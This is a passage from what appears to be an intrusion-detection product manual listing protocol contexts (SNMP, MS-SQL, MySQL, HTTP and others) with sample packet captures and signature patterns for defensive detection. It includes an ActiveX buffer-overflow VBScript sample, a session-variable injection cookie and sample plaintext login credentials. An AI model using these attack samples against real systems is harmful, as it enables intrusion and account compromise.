	Modbus .0001000 = Function Code: Diagnostics (8) [Request Frame: 17] [Time from request: 0.002023000 seconds] Diagnostic Code: Restart Communications Option (1) Restart Communication Option: Leave Log (0x0000) 00 20 78 00 62 0d 00 02 b3 ce 70 51 08 00 45 00 . x.b pQE. 00 34 ff e9 40 00 80 06 e6 9e 0a 00 00 03 0a 00 .4@ 00 39 01 f6 0a 12 70 fl ad 3f 61 97 fl bf 50 18 .9p?aP. ff c3 14 22 00 00 00 00 00 00 00 00 00 00 01" 00 00 Example of context usage: Context: modbus-response pattern: "\x 080001 \x"
modbus-trailing- data (ANY)	Matches trailing data after the first MODBUS PDU.

Service Contexts: MSRPC

The table displays the security context details for MSRPC:

Table 41: Service Contexts: MSRPC

Context and Direction	Description Example of Contexts
msrpc-ans (STC)	Matches the response data in a MSRPC session
msrpc-call (CTS)	Matches the request data in a MSRPC session Example of field in MSRPC transaction:
	Distributed Computing Environment / Remote Procedure Call (DCE/RPC)Request. Seq: 0. Serial: 0, Frag: 0. FragLen: 512 Version: 4 Packet type: Request (0) Flags 1: 0x2e. Idempotent, NoFack. Fragment. Last Fragment Flags2:0x00 Data Representation: 100000 (Order: Little-endian. Char: ASCII. Float: IEEE) Serial High: 0x00 Object UUID: 00000000-0000-0000-000000000000000000

Table 41: Service Contexts: MSRPC (Continued)

Context and Direction	Description Example of Contexts
msrpc-ifid-str (ANY)	Matches the interface ID string in an MSRPC session. Example of field in MSRPC transaction: Transmission Control Protocol. Src Port: 41178, Dst Port: 135. Seq: 3957977132.Ack: 1928886353. Len: 72 Distributed Computing Environment / Remote Procedure Call (DCE/RPC)Bind. Fragment: Single. FragLen: 72. Call: 0 Version: 5 Version (minor): 0 Packet type: Bind (11) Packet Flags: 0x03 Data Representation: 10000000 (Order: Little-endian. Char: ASCII. Float: IEEE) Frag Length: 72 Auth Length: 0 Call ID: 0 Max Xmit Frag: 5840 Max Recv Frag: 5840 Assoc Group: 0x00000000 NumCtx Items: 1 CtxItem[I]: Context ID: 0. REMACT. 32bitNDR Context ID: 0 Num Trans Items: 1 Abstract Syntax: REMACT VO.Q Interface: REMACT UUID: 4d9f4ab8-7dle-1 Icf-861e-0020af6e7c57 Interface Ver: 0 Interface Ver Minor: 0 Transfer Syntax[I]: 32bitNDR UUID: 8a885d04-Iceb-1 Ic9-9fe8-08002b 104860 ver: 2 Example of context usage: Context: msrpc-ifid-str pattern: "(x 4d9f\x")

Table 41: Service Contexts: MSRPC (Continued)

Context and Direction	Description Example of Contexts	
msrpc-raw (ANY)	Example of field in MSRPC transaction: Transmission Control Protocol Src Port: 41178, Dst Pc Distributed Computing Environment / Remote Procedicall: 0 Version: 5 Version (minor): 0 Packet type: Bin Packet Flags: 0x03 Data Representation: 10000000(Order: Little-endia: Frag Length: 72 Auth Length: 0 Call ID: 0 Max Xmit Frag: 5840 Max Recv Frag: 5840 Assoc Num Ctx Items: 1 Ctx Item[1]: Context ID:0. REMACT. 32bitNDR aO da 00 87 eb e9 fO 2c 72 f8 78 51 80 18 00 e5 a8 ad 00 00 01 01 08 0a 00 1c b5 Of 00 00 00 00 00 00 00 00 00 00 00 00 00	ure Call (DCE/RPC) Bind. Fragment: Single. FragLen: 72. dd (11) n. Char: ASCII. Float: IEEE)

Service Contexts: NetBIOS

The table displays the security context details for NetBIOS:

Table 42: Service Contexts: NetBIOS

Context and Direction	Description	Display Name
nbds-browse-backup-server (ANY)	Matches the name of a backup server in a NetBIOS browse message.	NBDS Browse Backup Server

Table 42: Service Contexts: NetBIOS (Continued)

Context and Direction	Description	Display Name
nbds-browse-server-name (ANY)	Matches the name of a server in a NetBIOS browse message.	NBDS Browse Server Name
nbds-destination-name (ANY)	Matches the destination name field in a NetBIOS message.	NBDS Destination Name
nbds-mailslot-name (ANY)	Matches the name of a mailslot in the NetBIOS mailslot message.	NBDS Mailslot Name
nbds-source-ip-address (ANY)	Matches the source IP field in the NetBIOS datagram header.	NBDS Source Ip Address
nbds-source-name (ANY)	Matches the source name field in a NetBIOS message.	NBDS Source Name
nbds-source-port (ANY)	Matches the source port fields in the NetBIOS datagram header.	NBDS Source Port
nbname-node-name (ANY)	Matches the node name in the status response message.	NBNAME Node Name
nbname-node-status (ANY)	Matches the statistics field of a node status response.	NBNAME Node Status
nbname-nsd-ip-address (ANY)	Matches the IP address of a NetBIOS name server specified in a redirect name query response message.	NBNAME Nsd IP Address
nbname-nsd-name (ANY)	Matches the name of a NetBIOS name server specified in a redirect name query response message.	NBNAME Nsd Name

Table 42: Service Contexts: NetBIOS (Continued)

Context and Direction	Description	Display Name
nbname-resource-address (ANY)	Matches the IP address of a resource from the resource record.	NBNAME Resource Address
nbname-type-name (ANY)	Matches the type and name in a question or a resource record.	NBNAME Type Name

Service Contexts: NTP

The table displays the security context details for NTP:

Table 43: Service Contexts: NTP

Context and Direction	Description Example of Contexts
ntp-ctrl-data-opt (ANY)	Example of field in NTP transaction: User Datagram Protocol, Src Port: 57629, Dst Port: 123 Network Time Protocol (NTP Version 2, control) Flags: 0x16, Leap Indicator: no warning. Version number: NTP Version 2, Mode: reserved for NTP control message Flags 2: 0x08, Response bit: Request, Opcode: runtime configuration Sequence: 2 [Response In: 2] Status: 0x0000 AssociationD: 0 Offset: 0 Count: 35 Data Configuration: server 172.16.8.218 mode 3735928559 Padding: 00 Authenticator Example of context usage: Context: ntp-ctrl-data-opt pattern: "server"

Table 43: Service Contexts: NTP (Continued)

Context and Direction	Description Example of Contexts
ntp-ctrl- opcode- response -var (ANY)	Matches each of the name and value pairs found in the NTP control message data field. The context includes a 1-byte NTP control message opcode and a 1-byte NTP response type.
	Example of field in NTP transaction:
	User Datagram Protocol, Src Port: 49874, Dst Port: 123 Network Time Protocol (NTP Version 2, control) Flags: 0x16, Leap Indicator: no warning. Version number: NTP Version 2, Mode: reserved for NTP control message Flags 2: 0x02, Response bit: Request, Opcode: read variables Sequence: 1 Status: 0x0000 Association ID: 0 Offset: 0 Count: 310 Data stratum= Padding: e2357a79727d Authenticator Example of context usage: Context: ntp-ctrl-opcode-response-var pattern: "stratum="

Service Contexts: SNMP

The table displays the security context details for SNMP:

Table 44: Service Contexts: SNMP

Context and Direction	Description
	Example of Contexts
snmp-community (ANY)	Matches the community name in any SNMP request or response.
	Example of field in SNMP transaction:
	User Datagram Protocol, Src Port: 3301, Dst Port: 161
	Simple Network Management Protocol
	version: version-1 (0)
	community: FirstBogus
	data: get-request (0)
	Example of context usage:
	Context: snmp-community pattern: "First"
snmp-get- bulk-oid (CTS)	Matches the binary OID in any SNMP Get-Bulk request.
	Example of field in SNMP transaction:
	Simple Network Management Protocol
	version: v2c (1)
	community: public
	data: getBulkRequest (5)
	getBulkRequest
	request-id: 34487
	non-repeaters 0
	max-repetitions: 2147483647
	variable-bindings: 110 items
	1.3: Value (Null)
	Object Name: 1.3 (iso.3)
	Value (Null)
	1.3: Value (Null)
	Object Name: 1.3 (iso.3)
	Value (Null)
	Example of context usage:
	Context: snmp-get-bulk-oid pattern: "1\.3"

Table 44: Service Contexts: SNMP (Continued)

Context and	Description
Direction	Example of Contexts
snmp-get- bulk-oid- parsed (CTS)	Matches the human-readable OID in any SNMP Get-Bulk request.
snmp-get- next-oid (CTS)	Matches the binary OID in any SNMP Get-Next request.
snmp-get- next-oid- parsed (CTS)	Matches the human-readable OID in any SNMP Get-Next request.
snmp-get-oid (CTS)	Matches the binary OID in any SNMP Get request.
snmp-get- oid- parsed (CTS)	Matches the human-readable OID in any SNMP Get request.
	Example of field in SNMP transaction:
	Simple Network Management Protocol
	version: version-1 (0)
	community: FirstBogus
	data: get-request (0)
	get-request
	request-id: 29248
	error-status: noError (0)
	error-index: 0
	variable-bindings: 1 item
	1.3.6.1.2.1.1.1.0: Value (Null)
	Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)
	Value (Null)
	Example of context usage:
	Context: snmp-get-oid-parsed pattern: "iso\.3\.6"

Table 44: Service Contexts: SNMP (Continued)

Context and Direction	Description Example of Contexts
snmp-oid (ANY)	Matches the binary OID in any SNMP request or response.
	Example of field in SNMP transaction:
	Simple Network Management Protocol
	version: version-1 (0)
	community: FirstBogus
	data: get-request (0)
	get-request
	request-id: 29248
	error-status: noError (0)
	error-index: 0
	variable-bindings: 1 item
	1.3.6.1.2.1.1.0: Value (Null)
	Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)
	Value (Null)
	Example of context usage:
	Context: snmp-oid pattern: "1\.3"

Table 44: Service Contexts: SNMP (Continued)

Context and Direction	Description Example of Contexts
snmp-oid-parsed (ANY)	Matches the human-readable OID in any SNMP request or response. Example of field in SNMP transaction: Simple Network Management Protocol version: version-1 (0) community: FirstBogus data: get-request (0) get-request request-id: 29248 error-status: noError (0) error-index: 0 variable-bindings: 1 item 1.3.6.1.2.1.1.1.0: Value (Null) Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)
	Value (Null) Example of context usage: Context: snmp-oid pattern: "1\.3"
snmp-set-oid (CTS)	Matches the binary OID in any SNMP Set request.
snmp-set-oid- parsed (CTS)	Matches the human-readable OID in any SNMP Set request.
snmptrap- community (CTS)	Matches the community name in any SNMPTRAP message.
snmptrap-eid (CTS)	Matches the binary EID (Enterprise-ID) in any SNMPTRAP message.
snmptrap-eid- parsed (CTS)	Matches the human-readable EID (Enterprise-ID) in any SNMPTRAP message.

Table 44: Service Contexts: SNMP (Continued)

Context and Direction	Description Example of Contexts
snmptrap-inform- oid (CTS)	Matches the binary OID in any SNMPTRAP Inform message.
snmptrap- inform- oid-parsed (CTS)	Matches the human-readable OID in any SNMPTRAP Inform message.
snmptrap-oid (CTS)	Matches the binary OID in any SNMPTRAP message.
snmptrap-oid- parsed (CTS)	Matches the human-readable OID in any SNMPTRAP message.
snmptrap-v2- oid (CTS)	Matches the binary OID in any SNMPTRAP v2 message.
snmptrap-v2- oid- parsed (CTS)	Matches the human-readable OID in any SNMPTRAP v2 message.

Database Contexts

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Service Contexts: MYSQL | 256

These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for databases as match conditions in IDP policy rules.

Service Contexts: MS-SQL

The table displays the security context details for MS-SQL:

Table 45: Service Contexts: MS-SQL

Context and Direction	Description Example of Contexts
mssql-0x12 (CTS)	Matches the content of an MS-SQL type 0x12 request message.
mssql-cancel (CTS)	Matches the content of an MS-SQL cancel message
mssql-login (CTS)	Matches the content of an MS-SQL login message Example of field in MSSQL transaction:
	Tabular Data Stream Type: TDS7 login (16) Status: 0x01. End of message Length: 152 Channel: 0 Packet Number: 1 Window: 0 TDS7 Login Packet 10 01 00 98 00 00 01 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00

Table 45: Service Contexts: MS-SQL (Continued)

Context and Direction	Description Example of Contexts
mssql-login-app (CTS)	Matches the name of the application in an MS-SQL Login message Example of field in MSSQL transaction: Transmission Control Protocol. Src Port: 50399.DstPort: 1433, Seq: 868843253. Ack: 1016878433.Len: 246 Tabular Data Stream Type: TDS7 login (16) Status: 0x01, End of message Length: 246 Channel: 0 Packet Number: 1 Window: 0 TDS7 Login Packet Login Packet Header Lengths and offsets Client name: SA-NC-MFG-239 Username: WinCCConnect Password: 2WSXcder App name: SQL Query Analyzer Server name: SNAKE Example of context usage: Context: mssql-login-app pattern: "SQL Query"
mssql-login-client (CTS)	Matches the name of the client in an MS-SQL Login message Example of field in MSSQL transaction: Transmission Control Protocol. Src Port: 50399.DstPort: 1433, Seq: 868843253. Ack: 1016878433.Len: 246 Tabular Data Stream Type: TDS7 login (16) Status: 0x01, End of message Length: 246 Channel: 0 Packet Number: 1 Window: 0 TDS7 Login Packet Login Packet Header Lengths and offsets Client name: SA-NC-MFG-239 Username: WinCCConnect Password: 2WSXcder App name: SQL Query Analyzer Server name: SNAKE Library name: ODBC Example of context usage: Context: mssql-login-client pattern: "SA-NC"
mssql-login- database (CTS)	Matches the name of the database in an MS-SQL Login message

Table 45: Service Contexts: MS-SQL (Continued)

Context and Direction	Description Example of Contexts
mssql-login- language (CTS)	Matches the name of the language in an MS-SQL Login message
mssql-login-lib (CTS)	Matches the name of the library in an MS-SQL Login message Example of field in MSSQL transaction: Transmission Control Protocol. Src Port: 50399.DstPort: 1433, Seq: 868843253. Ack: 1016878433.Len: 246 Tabular Data Stream Type: TDS7 login (16) Status: 0x01, End of message Length: 246 Channel: 0 Packet Number: 1 Window: 0 TDS7 Login Packet Login Packet Header Lengths and offsets Client name: SA-NC-MFG-239 Username: WinCCConnect Password: 2WSXcder App name: SQL Query Analyzer Server name: SNAKE Library name: ODBC Example of context usage:
mssql-login-pass (CTS)	Context: mssql-login-lib pattern: "ODBC" Matches the password in an MS-SQL Login message Example of field in MSSQL transaction: Transmission Control Protocol. Src Port: 50399.DstPort: 1433, Seq: 868843253. Ack: 1016878433.Len: 246 Tabular Data Stream Type: TDS7 login (16) Status: 0x01, End of message Length: 246 Channel: 0 Packet Number: 1 Window: 0 TDS7 Login Packet Login Packet Header Lengths and offsets Client name: SA-NC-MFG-239 Username: WinCCConnect Password: 2WSXcder Example of context usage: Context: mssql-login-pass pattern: "2WSXcder"

Table 45: Service Contexts: MS-SQL (Continued)

Context and Direction	Description Example of Contexts
mssql-login-server (CTS)	Matches the name of the server in an MS-SQL Login message Example of field in MSSQL transaction: Transmission Control Protocol. Src Port: 50399.DstPort: 1433, Seq: 868843253. Ack: 1016878433.Len: 246 Tabular Data Stream Type: TDS7 login (16) Status: 0x01, End of message Length: 246 Channel: 0 Packet Number: 1 Window: 0 TDS7 Login Packet Login Packet Header Lengths and offsets Client name: SA-NC-MFG-239 Username: WinCCConnect Password: 2WSXcder App name: SQL Query Analyzer Server name: SNAKE Example of context usage: Context: mssql-login-server pattern: "SNAKE"
mssql-login-user (CTS)	Example of field in MSSQL transaction: Transmission Control Protocol Src Port: 1035, Dst Poil: 1433, Seq: 763655054. Ack: 1997497845. Len: 152 Tabular Data Stream Type: TDS7 login (16) Status: 0x01, End of message Length: 152 Channel: 0 Packet Number: 1 Window: 0 TDS7 Login Packet Login Packet Header Lengths and offsets Username: Sa App name: SQL Query Analyzer Server name: SNAKE Library name: ODBC Example of context usage: Context: mssql-login-user pattern: "sa"

Table 45: Service Contexts: MS-SQL (Continued)

Context and Direction	Description Example of Contexts
mssql-query (CTS)	Matches the content of an MS-SQL query message. Example of field in MSSQL transaction: Transmission Control Protocol. Src Port: 1175. Dst Port: 1433. Seq: 3017454680. Ack: 1346858528. Len: 60 Tabular Data Stream Type: SQL batch (1) Status: 0x01. End of message Length: 60 Channel: 0 Packet Number: 1 Window: 0 TDS Query Packet Query: set quoted_identifier off
	Example of context usage: Context: mssql-query pattern: "quoted"
mssql-request-other (CTS)	Matches the content of an MS-SQL unknown Request message.
mssql-rpe (CTS)	Matches the content of an MS-SQL RPC message
mssql-rpc-name (CTS)	Matches the RPC name in an MS-SQL request message.

Service Contexts: MYSQL

The table displays the security context details for MYSQL:

Table 46: Service Contexts: MySQL

Context and Direction	Description Example of Contexts
mysql-login- request-caps (CTS)	Matches the MYSQL Login Request Caps Data. Example of field in MSSQL transaction: Transmission Control Protocol, Src Port: 47142, Dst Port: 3306, Seq: 1471914225, Ack: 2780407880, Len: 62 MySQL Protocol Packet Length: 58 Packet Number: 1 Login Request Example of context usage: Context: mysql-login-request-caps pattern: "root"
mysql-login- request-caps-pswd (CTS)	Matches the MYSQL Login Request Caps Password. Example of field in MSSQL transaction: Transmission Control Protocol, Src Port: 47142, Dst Port: 3306, Seq: 1471914225, Ack: 2780407880, Len 62 MySQL Protocol Packet Length: 58 Packet Number: 1 Login Request Client Capabilities: 0xa285 Extended Client Capabilities: 0x0003 MAX Packet: 16777216 Charset: latinl COLLATE latinl_swedish_ci (8) Username: root Password: 277f04b6f584b4f090ad6baal845238580cbf6fc Example of context usage: Context: mysql-login-request-caps-pswd pattern: "\x 277f04 \x"

Table 46: Service Contexts: MySQL (Continued)

Context and Direction	Description Example of Contexts
mysql-login- request-caps-user (CTS)	Matches the MYSQL Login Request Caps Username. Example of field in MYSQL transaction: MySQL Protocol Packet Length: 58 Packet Number: 1 Login Request Client Capabilities: 0xa285 Extended Client Capabilities: 0x0003 MAX Packet: 16777216 Charset: latinl COLLATE latinl_swedish_ci (8) Username: root Password: 277f04b6f584b4f090ad6baal845238580cbf6fc Example of context usage: Context: mysql-login-request-caps-user pattern: "root"
mysql-preamble (ANY)	Matches the 4 first bytes of the packet.
mysql-req- command (CTS)	Matches the MYSQL Request Command. Example of field in MYSQL transaction: MySQL Protocol Packet Length: 24 Packet Number: 1 Login Request Client Capabilities: 0x248d MAX Packet: 0 Username: root Password: 575c40414d4a444700 Example of context usage: Context: mysql-req-command pattern: "root"

Table 46: Service Contexts: MySQL (Continued)

Context and Direction	Description Example of Contexts
mysql-response (STC)	Matches the MYSQL Response. Example of field in MYSQL transaction: MySQL Protocol Packet Length: 52 Packet Number: 0 Server Greeting Protocol: 10 Version: 4.0.23_Debian-3-log Thread ID: 16 Salt: 1\fmqmS4 Server Capabilities: 0x202c Example of context usage:
mysql-server- greeting (STC)	Context: mysql-response pattern: "Debian" Matches the MYSQL Server Greeting Data. Example of field in MYSQL transaction: MySQL Protocol Packet Length: 52 Packet Number: 0 Server Greeting Protocol: 10 Version: 4.0.23_Debian-3-log Thread ID: 16 Salt: 1\fmqmS4 Server Capabilities: 0x202c Example of context usage: Context: mysql-server-greeting pattern: "Debian"

Web Protocol Contexts

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These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for web protocols as match conditions in IDP policy rules.

Service Contexts: HTTP

The table displays the security context details for HTTP:

Table 47: Service Contexts: HTTP

Context and Direction	Description Example of Contexts
http-authorization (CTS)	Matches the username and password decoded from the Authorization: Basic header in an HTTP request.
	Example of Authorization header in HTTP request:
	GET /secure/ HTTP/1.1
	Host: 10.157.5.9
	User-Agent: MSfrontpage/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Keep-Alive: 300
	Connection: keep-alive
	If-Modified-Since: Thu, 09 Jul 2009 17:02:47 GMT
	If-None-Match: "17dd2-b4-46e48d334dbc0"
	Authorization: Basic ZGF2ZTo=
	Example of context usage:
	context: http-authorization pattern: "Basic ZGF2ZTo="

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-data (ANY)	Matches any HTTP data in an HTTP transaction that is not text/html, text/plain, or FORM values in a POST request. Example of HTTP data in HTTP response: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 6b 0d HTTP/1.1 200 Ok. 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 .Content -Type: a 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 pplication/octet 2d 73 74 72 65 61 6d 0d 0a 53 65 72 76 65 72 3a -stream. Server: 20 41 70 61 63 68 65 2f 32 2e 30 0d 0a 43 6f 6e Apache/ 2.0Con 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 31 39 tent-Len gth: 219 35 34 0d 0a 0d 0a 41 54 46 00 55 bc 05 07 07 08 54AT F.U 00 40 00 00 00 00 00 00 00 00 0f ff ff ff fb 2
http-first-data- chunk (ANY)	Matches the first data chunk in an HTTP transaction. Example of first data chunk in HTTP response: HTTP/1.0 200 OK Content-type: text/html Content-Length: 300 Last-Modified: Fri, 15 Jul 2016 16:26:13 GMT <html style="display:flex;"> <head> <script> Example of context usage: Context: http-first-data-chunk pattern: ".*style\s*=\s*"</td></tr><tr><td>http-flash</td><td>Matches http payload when content type is flash video or application. Example of http flash payload in HTTP response: HTTP/I.1 200 Ok Content-Type: application/x-shockwave-flash Server: Apache/2.0 Content-Length: 660 CWSxx_S.N.@\$m.? U)Ai.Hc/.[</td></tr></tbody></table></script></head></html>

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-form-data (CTS)	Matches each of the form values in a POST request of an HTTP transaction.
http-get-url (CTS)	Matches the URL in an HTTP get request as it appears in the stream. Example of URL in HTTP request: GET /fsc/secured\fsc.aspx HTTP/1.1 Host: 10.2.1.53 Example of context usage: Context: http-get-url pattern: "\/fsc\/secured"
http-get-url-parsed (CTS)	Matches the decoded, normalized URL in an HTTP get request. Example of URL in HTTP request: Normalization process is applied to transform a URI into a normalized URI so it is possible to determine if two syntactically different URIs may be equivalent. Percent-encoded triplets of the URI do not require percent-encoding and should be decoded to their corresponding unreserved characters, for e.g http://example.com/%7Efoo → http://example.com/~foo Example of context usage: Context: http-get-url-parsed pattern: "~foo"
http-head-url (CTS)	Matches the URL in an HTTP head request as it appears in the stream. Example of URL in HTTP HEAD request: HEAD HTTP/1.1 Host: bt05 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0 CLIENT-IP: 1.1.1.2 X-Forwarded-For: 1.1.1.2 Example of context usage: Context: http-head-url pattern: "//"

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-head-url- parsed (CTS)	Matches the decoded, normalized URL in an HTTP head request. Example of URL in HTTP request: Like http-get-url-parsed context, normalization process is applied to transform a URI into a normalized URI. Example of context usage: Context: http-head-url-parsed pattern: "\fsc\/secured"
http-header (ANY)	Matches any HTTP header. Example of header fields in HTTP request: GET /buy.php?advid=0&emla=1⟨=& HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: www.liveprotection.net Connection: Keep-Alive Example of context usage: Context: http-header pattern: "Host: www.liveprotection.net"
http-header-accept (CTS)	Matches each Accept: header in an HTTP request. Example of header fields in HTTP request: GET /buy.php?advid=0&emla=1⟨=& HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate Example of context usage: Context: http-get-url pattern: "en-us"
http-header- accept-encoding (CTS)	Matches each Accept-Encoding: header in an HTTP request. Example of header fields in HTTP request: GET /buy.php?advid=0&emla=1⟨=& HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate Example of context usage: Context: http-header-accept-encoding pattern: "gzip"

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-header- accept-language (CTS)	Matches each Accept-Language: header in an HTTP request. Example of header fields in HTTP request: GET /buy.php?advid=0&emla=1⟨=& HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate Example of context usage: Context: http-header-accept-language pattern: "en-us"
http-header- content-encoding (ANY)	Matches each Content-Encoding: header in an HTTP transaction. Example of header fields in HTTP request: HTTP/1.1 200 ok Content-length: 75 Content-type: application/octet-stream Content-disposition: attachment; filename="download.txt" Content-Encoding: =?UTF-8?B?ZGVmbGF0ZQo=?= Example of context usage: Context: http-header-content-encoding pattern: "VmbGF0ZQo"
http-header- content-language (ANY)	Matches each Content-Language: header in an HTTP transaction.
http-header- content-location (ANY)	Matches each Content-Location: header in an HTTP transaction.
http-header- content-md5 (ANY)	Matches each Content-MD5: header in an HTTP transaction.

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-header- content-type (ANY)	Matches each Content-Type: header in an HTTP transaction. Example of header fields in HTTP request: HTTP/1.1 200 OK Date: Wed, 14 Sep 2005 16:52:48 GMT Content-Length: 60 Connection: Keep-Alive Content-Type: text/html; charset=ISO-8859-1 Example of context usage: Context: http-header-content-type pattern: "text\/html"
http-header- cookie (ANY)	Matches each Cookie: header in an HTTP transaction. Example of header fields in HTTP request: cookie: _SESSION[sess_user_id]=1;no_http_headers=1 Example of context usage: Context: http-header-cookie pattern: ".*\[no_http_headers\]\=1.*"
http-header- host (CTS)	Matches each Host: header in an HTTP request.
http-header- referer (CTS)	Matches each Referrer: header in an HTTP request.
http-header- soapaction (ANY)	Matches each soapaction: header in an HTTP transaction.
http-header- user- agent (CTS)	Matches each User-Agent: header in an HTTP request.
http-header- x- forwarded-for	Matches x-forwarded-for header in an HTTP request. Example of context usage: Context: http-header-x-forwarded-for pattern: "*([^\d\.,unkow\040:a-fA-F] AA).*"

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-image (ANY)	Matches IMATE contents (BMP, PNG) in HTTP transaction. Example of header fields in HTTP request: HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 Content-Type: image/x-ms-bmp Content-Length: 3704
	BMv(
http-jpeg-raw (ANY)	Matches JPEG content in HTTP transaction. Example of header fields in HTTP response: HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: image/jpeg JFIFH.HC Example of context usage: Context: http-jpeg-raw pattern: "\x FFD8FFE00010\x JFIF.*"

Table 47: Service Contexts: HTTP (Continued)

Context and Description Direction **Example of Contexts** http-jpeg-tag (ANY) Matches JPEG tag of JPEG content in HTTP transaction. JPEG image files provide an area for applications to store metadata such as title, date taken, shutter speed, and so on. There are several slots available, each of which holds a group of metadata tags. A JPEG file contains several segments; each segment contains different kinds of data, delimited by two-byte codes called markers. The markers are hexadecimal; they begin with 0xFF and end with a code (1 byte) indicating the kind of marker. Example of jpeg tags in HTTP response payload: 48 54 54 50 2f 31 2e <u>31 20</u> 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK. 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d Content-Type: im 61 67 65 2f 6a 70 65 67 0d 0a 58 2d 43 61 63 68 age/jpeg ..X-Cach 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 0d 0a ff d8 Keep-Ali ve..... ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48JFIFH.H <mark>00 00</mark> ff <u>fe</u> 00 0d 31 <u>30 2</u>e 30 2e 31 33 2e 31 3210 .0.13.12 38 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 8...C... 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 Oc Oa Oc Oc Ob Oa Ob Ob Od Oe 12 10 Od Oe 11 Oe 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 Note: Each colored segment represent segment/tag Example of context usage: Context: http-jpeg-tag pattern: "\x 480048 \x" http-object-tag-clsid Matches the CLSID of an object tag. (STC) Example of this field in HTTP response: HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: text/html <HTML> <object classid='clsid:C6A96E83-F5AF-4BD4-9BDD-7B18444F814F' id='hack'></object> <script language='vbscript'> String1=String(99999, "A") hack.DialNumber String1 </script> </HTML> Example of context usage: Context: http-object-tag-clsid pattern: "C6A96E83-F5AF-4BD4-9BDD-7B18444F814F"

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-ole	Matches Microsofts OLE contents in HTTP transaction. Example of OLE header signature field in HTTP response: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 .Content -Type: a 70 70 6c 69 63 61 74 69 6f 6e 2f 76 6e 64 2e 6d pplicati on/vnd.m 73 2d 65 78 63 65 6c 0d 0a 0d 0a d0 cf 11 e0 a1 s-excel b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00
http-param-parsed (CTS)	Matches the decoded CGI parameters in an HTTP request.
http-pdf	Matches PDF contents in HTTP transaction. Example of PDF contents in HTTP response: Hypertext Transfer Protocol HTTP/1.1 200 Ok\r\n Content-Type: application/pdf\r\n Server: Apache/2.0\r\n Content-Length: 1153\r\n \r\n [HTTP response 1/1] [Time since request: 0.002751000 seconds] [Request in frame: 4] [Request URI: http://118.78.98.50/BPmc0L4Oos7g] File Data: 1153 bytes Media Type Media type: application/pdf (1153 bytes)

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts			
http-png-chunk (ANY)	Matches contents of PNG chunk to HTTP transaction. Example of PNG contents in HTTP response: Hypertext Transfer Protocol HTTP/1.1 200 Ok\r\n Content-Type: image/png\r\n Server: Apache/2.0\r\n Content-Length: 3424\r\n \r\n [HTTP response 1/1] [Time since request: 0.006390000 seconds] [Request in frame: 4] [Request URI: http://54.100.71.117/nKWu8] File Data: 3424 bytes Portable Network Graphics Malformed Packet: PNG] Example of context usage: Context: http-png-chunk pattern: "PNG"			
http-post-url (CTS)	Matches the URL in an HTTP post request as it appears in the stream.	HTTP POST URL	POST /index.html? crap=1085538798 HTTP/1.1	1.34. http-post-url pattern: ".*\?.*"
http-post-url-parsed (CTS)	Matches the decoded, normalized URL in an HTTP post request.			
http-post-variable (CTS)	Matches each CGI variable in the form data of an HTTP POST request. Example of header fields in HTTP request: POST /mail/channel/bind?&at=d91335f6924d08fa- 109fa346d8a&VER=2&SID=5B974D2448624B32&RID=68492&zx=jhspu7-sijvnz HTTP/1.1 Example of context usage: Context: http-post-variable pattern: "at=d"			

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts	
http-post- variable- parsed (CTS)	Matches each decoded CGI variable in the form data of an HTTP POST request.	
http-request (CTS)	Matches each HTTP request line. Example of header fields in HTTP request: GET /mail/im/menurightarw.gif HTTP/1.1 Host: mail.google.com Example of context usage: Context: http-request pattern: "menurightarw.gif"	
http-request- method (CTS)	Matches the method name in an HTTP request. Example of field in HTTP request: GET /mail/im/menurightarw.gif HTTP/1.1 Host: mail.google.com Example of context usage: Context: http-request-method pattern: "GET"	
http-status (STC)	Matches the status line in an HTTP reply. Example status line in HTTP response: HTTP/1.1 200 OK Last-Modified: Mon, 13 Feb 2006 21:10:30 UTC Example of context usage: Context: http-status pattern: "200"	

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
